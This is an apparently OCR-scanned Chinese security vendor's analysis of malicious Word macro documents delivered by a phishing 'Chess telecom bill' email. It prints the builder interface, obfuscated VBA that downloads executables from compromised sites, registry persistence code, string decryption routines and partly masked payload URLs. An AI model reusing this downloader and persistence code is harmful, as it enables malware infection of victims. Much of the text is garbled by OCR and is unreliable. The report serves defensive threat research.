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Direct URL To File:
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These are the aptianal settings

4 USG Add EXE To Startup Add Text To Doc

Open Crypter  Open Silent Add-On  Tutorial

Check For Updates Build Exploit  Exit

it Builder ¥4

Welcome To The Best Office Exploit Around..

Are You Exploiting Word or Excel?: |[word vl

Direct URL To File: [3/2131550_183752008316_2.ipg

[

Save File As: |
[[] add File To Startup

I,jar

[C] add Text To Doc
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Crypter Silent Add-On Tutorial

. Check ForUydate's et i IU

" Build

B 1 EpSEFE

ZA A H AT TUANRAS,  OBIRAT R IRAS 3 FIRCA 4. A2 R i) E 2 e nT BAAE s Word . Excel
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4.1 HERFEBHAS

8 A A S AN U BRI, AR B R BRI A SO, AT AR SR T A S AR
MEABENL TR

1. HeREMANL: K4

2. FESLTHA APL 43504 ShellExecuteA Fil URLDownloadToFileA, FfH. 54 i 71l 44 R 2504 R B AL
FrFE R, 1 bZNAbx. RBXHSXTgxLTUeBwZclOiqg

3. FlJEE R E, WA, Ko iE A iR

Private Sub zSyVoRomgyv ()
Dim dveBlvBxJZpwyHfZDFmsLTJ As String, pkkjoYgnDee As String, tjmeCgKIgfzghuFonbbBKW As String, RBMRNZrsNOXwdG

As String, VCIckZFABzEpip As String, TugwACuTwbLGVPGxXKVEDrdE As String
pkkjoYgnDee = Decrypﬂ("fyf/2zn")
timeCgKIgfzghuEonbbBKW = Environ$ ("tmp") & "\" & pkkjoYgnDee
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5. B SCAFARRIEMER . B SR AN E] word H

Set Reqg = CreateObject("Wscript.shell™)
Reg.RegWrite "HKEY CURRENT USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & "Filename", b
nThYVhyMivVfDxbdJejrhMv 0, "open”, b, "", vbNullString, vbNormalFocus

v BB BUIAE AR N B SR, X SRS S A R R G AT R B S R AR

Private Function Decrypt (enc)
Dim x, 1, tmp
enc = StrReverse (enc)
For 1 = 1 To Len(enc)
x = Mid(enc, i, 1)
tmp = tmp & Chr (Asc(x) - 1)
Next
Decrypt = tmp
End Function

IR
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abcdef '-# i
fedcba
O n
gfedch

Pl iasER AR (BEEIRE)

These are the required settings

Direct URL To File:  www. baidu. con|
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Decrypt ("npd/vejbc/xxx")
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R A SV AR s A2 — > VBS BAIA SO, TR s e A SO T 36 AU A S = B 30T

J& Word SCRS T BERAE 1 H 1R H
VBS JIASRBAEAR, R EREAT R8O, IR 30 Word SCRI 1 9i . # AU an T

wDKpBBOUXPoDwgNQINRg =
Decrypt("hqk/3 724911368492 °16624230416112130npd/djgjo/S8djq00; quui") - "EF7

Dim x, i, tmp.
enc = StrReverse(enc).
Fori=1To Len(enc)-

e a
x = Mid(enc, i, 1)- e
tmp =tmp & Chr(Asc(x) - 1)
Next.
Decrypt = tmp-
Set eGoFrvUvGASPrIhYU = CreateObject("Word Application”).
BERword

eGoFrvUvGASPnlhYU. Visible = True.
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N Word R T A, TR AR RO T LA “REE” AT LatT, B R R RSO R
AL S TR PRGNSO B R 5B s AT 25
L

ORXRECINE WG , WIS,



o 52 K VBA 5% "BlisHl AR
B = Gl u A x|l (= = =% |[44] #| | aasocenc| aasoceoc AaBk AaBbC AaBb( -
B a5 2 T e AP ACE]O) [EE =& - cEx | c®EE mE1  s@2 wE -
e 7 Bx s
@ =2TE ESHER SR

Attention! To view this document, please turn on the Edit mode
and Macroses!

To display the contents of the document click on Enable Content button

Paste B I U-~abkx, X W.A-

¥ Format Painter
Clipboard [ Font r.

1 SECURITY WARNING Macros have been disabled. Enable Content

& 2 sample1l word A&
ZEAHE 3 ML, ThisDocument. Modulel. Module2. ZEACRILEHIE 2%, ZRhINRZACHS

1638682 ‘*Data’
531 ‘Macros-PROJECT'
89 ' Marcunc PROIECTim?

22660 ‘Macros-UBA-Modulel’

3?34 ‘Macros-UBA-Module2’
7429 ‘Macros-UBA-ThisDocument’

dabb " FAacrosA~UBH._UBH_FHUJELL”

1 5 1

3 Samplel &3R4

FRBLIURE A

R A B
R ST HATVBS F#k
T#tht M
o HATBATHH
NEOCA A s
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Public Function Klklklklklkl (nbgjbdjgqw As String)

Dim dhjgwgkjww As Integer, aagjwhdg As Integer, Mhdbgwdbnsagdwhgdghd As Object, AHUDWQI As String

Dim ashdUHhda As String, dddc As Integer, AABDBHDDD As String, AsaHuhgdjhasd As String, AAHQJD As String
AsaHuhgdjhasd = nbgjbdjqw

ashdUHhda = AsaHuhgdjhasd '==>f% A\AJZ%T:URLs

"wdgwdgwdwg

dddc = 1 - (Atn(20)) '==>-0.5208379310729538

HQDUQ = hhr(val (81 + dddc)) '==>hhr(vVal(80.47916€206892705))==>P

BHOQDHJWQDW = "ML" & "2.5" & "erverx" & "MLH"

BYGDWHQGWHDWQ = BHQDHJWQDW + "TT" + HQDUQ '==>MLZ.ServerXMLHTTP

"asdwqgdqg

AABDBHDDD = "E"

NBWHDWDQ = Chr(ll * 2 * 4 + 4 * dddc) '==>E

AABDBHDDD = "C" + AABDBHDDD & NBWHDWDQ '==>GET

DWQJDIQWDKWQJDHBB = "MSX" + BYGDWHQGWHDWQ '==>MSXMLZ2.ServerXMLHTTP

"wdwqdgwdq

'zxcgscqc

Set Mhdbgqwdbnsagdwhqgdghd = Createobject(DWQJDIQWDKWQJDHBB)'==>SrvXMLHttp=CreateObject(MSXMLZ.ServerXMLHTTP)
"qwdqwdsadasxzzc

Mhdbgwdbnsagdwhgdghd.Open AABDBHDDD, ashdUHhda '==>srvXMLHttp.open ('GET',URLs)"
Mhdbqwdbnsagdwhqdghd.Send (AHUDWQI) '==>srvXMLHttp.Send()'

AAHQJD = ThisDocument.NHdjhasbdhas (Mhdbgwdbnsagdwhgdghd) '==>FkELUE 574
Klklklklklkl = AAHQJID '==>IE [B]iF &

GEDFC = "jghwd jquw" '==>¥7F AR5 I 80

5Samplel BRERL
ARAD I8 28 SRS ELE AR XS R ASCH B, AR5 FRilid Chr R ek A6 A0S, i BEAL R
7SRRI N A BN BT B IR, 3 Rs AT Y. Eansy 1453 MSXML2.ServerXMLHTTP,
i iz 5 hhr(Val(81 + 1 - (Atn(20)))) 3R T —/ N5 P, ARJ5iEik "ML" & "2.5" & "erverX" & "MLH"+ &
"TT" & "PUAR BB A R IS L T 3R RIE D IR . LIRS SRR S, D ARSI

Public Function Klklklklklkl (URLs As String)
srvXMLHttp=CreateObject (MSXML2.ServerXMLHTTP)
srvXMLHttp.open ('GET', URLs)

srvXMLHttp.Send ()

Klklklklklkl = srvXMLHttp.responsetext

End Function

6 Samplel HEFERFHNKTE

RESTIAE ot A URL 250, 47 HHTP Jy U4,
BEARH URL HuBERERRIF 7 SR, IF FLA PR (OB 36— kAT R AT
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TSTS = "" & ".tu" 4+ "£U o4 "0
CDDD = "777763172631572" + TSTS
LNSS = "rara" + TSTS
STT1 = "w" + "ww.glamourstylistas.com/adm" + "inistr" + "ator/comp" + "onents/co"™ + "m_joo" + "mlaup" A
"date/"
STT2 = "web251.login-37.hoststar.ch/ad" + "ministra"™ + "tor/comp" + "onents/c" + "om jo" + "omlaup" +
"date/"
& Ehtt:
http://www s com/fadministrator/components/com_joomlaupdate/rara777763172631572.txt
http:/f-n 77 hoststar.ch/administrator/components/com_joomlaupdate/rara777763172631572.txt

B 7 Samplel [EE b

Sample2 fl Samplel BAAFIGE A —FMER FTHMIEAF, Sample2 HA J5HHEINT

TSTS = " ) n + ”t:)x’:" + "t"

CDDD = "7777"™ 4+ TSTS

LNSS = "rara"™ + TSTS

STT2 = "cdinfla" + "tables.com/com" + "ponents/co" + "m wra" + "pper/"

STT1 = "monitoringin" + "ternetu.com/c" + "omponents/c" + "om w" + "rapper/"
HE ek
http://mo! i com/components/com_wrapper/rara.txt
http://cfi- Bmmiss tom/components/com_wrapper/rara.txt

B 8 Sample2 EE b
G LA BB MR PES URL ANE], BRATTWE PRAMEAS S AR s AR i, HLAE il S A7 O =
ARG IR 55 2 P 4 AR A
5.2 B4

T | C6ADA4EF26992DDEEAA01602CEDBA104D

7122C5569FE09FF19E84D36F325CAFDO
S ZRATTHR IR 1 00 2 a2 T 0 A
15 1 -
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FW: Your latest Chess Bill Is Ready
HriEh =T E2 BR s £ R £ aE 40 = TE =i

O i SmtE.
ISR ST,

[0 5 2015-07-Bill.docm

2 A : CustomerServices @ chesstelecom.com
E{EHRE: 20055 7 H 31 [ 18:41:45 (UTC+09:00) AR, FLIR. S5
mos: EHRER (FRH)

1§:3: Your latest Chess Bill Is Ready

Your bill summary

Account number: 24583

Invoice Number: 2398485

Bill date: July 2015

Amount: £17.50

How can | view my bills?

Your Chess bill is ready and waiting for you online. To check out your detailed bill, previous bills and any charges you've incurred since your last bill, just sign into My Account www.chesstelecom.com/myaccount
Forgotten your sign in details?

If you've forgotten your sign in details, no preblem, you can reset these by choosing http://www.chesstelecom.com/lost password.

Making payments is easy!

If you want te make a credit or debit card payment you can do online by choosing http://www.chesstelecom.com/online payment

You don't need to do anything if you pay by direct debit, we will collect your payment automatically on or after 30th June. If you pay by cheque, details of how to pay us are available on the invoice.
Switch to Direct Debit today and you'll save at least £60.00 a year, simply call our dedicated team on 0844 770 6060.

Anything else you'd like to know?

‘Why not visit our support section at www.chesstelecom.com/support.
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SRR = =i & BE = =
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dump.py 656c2d418%7ce4@?6delaZalel3c?f4f2 bin
i: 568 'PROJECT
2: A AN THT0 XU e e
3: 2753 'UBA-Moduledl’
4: 2842 'UBA-MHodule2’
L: 2498 ‘UBA-Module3ds’

[ 7598 'UBA-Moduled’
P ’UBH/TthDucument’

B: UDI‘I/ UDI‘I N o LV T1 N LY

‘UBAsdiv’!

Bl 11 Samplel EHREHE

FAUNS—3E 5 MR, BAMEHERA R ThEE, 2% API AIERGZ S & URL (ERTINE 7%, e
(NETINE

Public Function 1LJrFk6pKsSYJ (LO9QLFPTuZDwM As String)
LO9QLFPTuZDwM = Replace (Replace (Replace (L9QLFPTuzZDwM, Chxz(60), ""), Chrx(el), ""),

Chr (59), "")
Set 1LJrFkopKsSYJ = CreateObject (L9QLFPTuZDwM)
End Function

B 12 Samplel fRETFIRIR

Z PR BUE R 2K Chr(60), Chr(61), Chr(59)%f R[] ASCII FFF “<”, “=7, “” B, Mk,
TR AN T RER SRS URL HHELF 16 A HAh 7 Rk ELE A URL 124
ﬁz]ggﬁg URL iﬂ_j,iﬂ:

Nrh1INh1S5hGed = "h" & Chr(116) & Chr(6l) & "t" & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) & Chr(99) &
Chr(104) & Chr(97) & "t" & Chr(101) & Chr(97) & Chr(117) & Chr(45) & Chr(100) & Chr(60) & Chr(101) & Chr(115) &
Chr(45) & Chr(105) & Chr(108) & "e" & Chr(115) & Chr(46) & Chr(6l) & Chr(99) & Chr(111) & Chr(109) & Chr(47) &
Chr(60) & Chr(52) & Chr(116) & Chr(102) & Chr(51) & Chr(51) & Chr(119) & Chr(47) & Chr(60) & Chr(119) & "4" &
Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & Chr(101) & Chr(6l) & Chr(120) & Chr(101)

EEEHIE: http://C * s-iles.com/4tf33w/w4t453.exe

13 Samplel E=E bk

Sample2 1 Samplel BARJFIDEA —F MR FHMHEARF, Sample2 f#% j5 bk T

Nrh1INh1S5hGed = Chr(104) & Chr(116) & Chr(él) & Chr(llé) & Chr(112) & Chr(58) & Chr(47) & Chr(59) & Chr(47) &
Chr(105) & Chr(109) & Chr(109) & Chr(111l) & Chr(98) & Chr(103) & Chr(e0) & Chr(108) & Chr(103) & Chr(101) &
Chr(114) & Chr(45) & Chr(99) & Chr(116) & Chr(11l) & Chr(111l) & Chr(118) & Chr(117) & Chr(46) & Chr(el) &
Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(52) & Chr(1l6) & Chr(102) & Chr(51) & Chr(51) & Chr(119) &
Chr(47) & Chr(e0) & Chr(119) & Chr(52) & Chr(116) & Chr(52) & Chr(53) & Chr(51) & Chr(46) & Chr(59) & "e" &
Chr(el) & Chr(120) & Chr(101)

B4 hitp:, vu.com/4tf33w/wat453.exe

14 Sample2 ;EE it
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AR Z 9] P AN B IE PR 2P 2 TT DAHEWT S — B0 CR 83RO, T DOAIBHZ i AMEA R i —
ROSY (B g TS P b RS I 7 XTI IWNIAE rat: T s I SE AT NS (V6:i0h |

chateau-****** com/4tf33w/w4t453.exe
ct**** com/4tf33w/w4t453.exe
delt***** com/4tf33w/w4t453.exe
imm*******com /Atf33w/w4t453.exe
labo*****com/4tf33w/w4t453.exe

I BRI AR TR . T LU OB AR R4 0 T RS AT 7“4
6 B4

W%, AR IEAERAT, HERBERUN) 2, PR HABSOARIEKR IR, s Ak T DU IR 3
PO “H: DR BIRS AR IIREA ., JREGE APT FEA. JIf HIZFMERE 7 N2 BOMIHERE . H Al
EHL MRS5Es A i L B KBRS RT3, A IR R AN AN 1, T ELR I SR AT AL 4R AN
wh oM EE, HALRMESE, Mol X8R IR IR A BN 0. H P 2R mE 1,
AETFHRDIA W RN BAF, T BB SO R R AR Th e, B AT R E RSO A W, T
2 (R R AT SCRE A BRI F 5 A 9 e LR (2R 7

fiFd— : XFEXK

LRI S ERR BIAED ,  H AT SR BV AT G MR A sl 7 dh
HRSEN 2 E KK it 2 e N . ZRINE T IFERERR, TR ViR 2 BhiRE, Jf
CRE N HIRIEATIN . ENURIR . RABEE . KB 2SI 2, HEH 1 RIS
B (APT) IISERE™ R AR TT 58 . RRBCRSE R BT BN B AR PEIIART, 2R O
2352 DU JerWp I ] 2R 0 2 A LA S BT I, IR /2 CNNVD NFE— RN Z — o e RS 5] 48 2 3k
FAEERE A AV-TEST (2013) SFERZRIUN P i, Bl + R U R4 2 4] Mk RO
LA RER (VS

KT IR EE 5| 3 25 BiE V) http: //www. antiy. com (#30)

http: //www. antiy. net ()

KFZ R APT FHI T 245 BiE U IH : http: //www. antiy. cn
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